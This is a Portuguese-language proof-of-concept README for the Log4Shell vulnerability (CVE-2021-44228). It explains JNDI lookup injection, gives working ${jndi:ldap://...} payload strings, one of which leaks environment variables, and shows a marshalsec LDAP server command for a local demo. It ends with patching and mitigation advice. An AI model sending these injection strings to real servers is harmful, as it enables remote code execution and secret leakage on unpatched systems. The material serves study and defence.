
POC de vulnerabilidade
CVE-2021-44228:
Esta vulnerabilidade permite executar código arbitrário ao registrar uma mensagem maliciosa na máquina alvo.
Por exemplo, pode usá-la no Minecraft enviando uma mensagem de chat, e a máquina do servidor/jogador irá registrar a mensagem de chat e executar seu código.
Vídeo LiveOverflow/CVE-2021-44228
A mensagem deve conter um placeholder ${} com instrução para carregar um objeto remoto
API jndi. Ele carregará o objeto através de um ObjectFactory
ldap://x.x.x.x:port/...http://x.x.x.x/...dns://x.x.x/...${jndi:ldap://127.0.0.1:1389/#}
Se o ObjectFactory não estiver presente no cliente, não fará nada.
Exceto pela resolução do servidor.
Com isso, pode-se vazar variáveis de ambiente:
${jndi:ldap://127.0.0.1:1389/${env:java_home}}
Por que tanto exagero?
Se meu entendimento está correto, ele fornece uma interface para JNDI
O que pode ser explorado
JNDI JDAP é uma API de consulta de objetos.
Você pode obter um objeto Java de um servidor.
marshalsec/LDAPRefServer
Ele envia dados do Objeto e o nome do ObjectFactory, que deve construir o objeto no cliente.
Pode ser explorado de várias maneiras.
Se o LDAP estiver habilitado a confiar em código externo, só precisamos fornecer a URL para um ObjectFactory malicioso.
com.sun.jndi.ldap.object.trustURLCodebase = true
Ou há outra vulnerabilidade Java. JDK-8196902
Combinado com isso, realmente se torna uma RCE.
Múltiplos repositórios de POC fazem isso no GitHub. Por exemplo tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
Se isso estiver definido como falso (por padrão é falso), podemos procurar por um ObjectFactory explorável na base de código alvo,
Ou explorar JNDI de outra forma.
Leitura adicional sobre Injeção JNDI:
Injeção JNDI
Veracode Research/rogue-jndi
RCEExample é uma função que registra a mensagem maliciosa.
Basta pressionar executar para rodá-lo...
LoggerFactory é um ObjectFactory que registrará tudo o que receber...
Se você construir marshalsec, pode pedir que ele use LoggerFactory
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"rce.RCEExample e veja o exploit (o logger).LoggerFactory, veja os objetos.Seu programa não é afetado SE ele registrar apenas mensagens internas.
Se o programa puder registrar texto de qualquer arquivo de dados ou da rede, ele está vulnerável.
Mas você deve corrigi-lo de qualquer forma...
O melhor que você pode fazer é atualizar para Log4J2 2.15.0+
Se não for possível por algum motivo, desabilite a consulta JNDI com o seguinte argumento Java: ‐Dlog4j2.formatMsgNoLookups=True para mitigar a vulnerabilidade.
Se você é um administrador de servidor Minecraft, siga o guia oficial: MENSAGEM IMPORTANTE: VULNERABILIDADE DE SEGURANÇA NA EDIÇÃO JAVA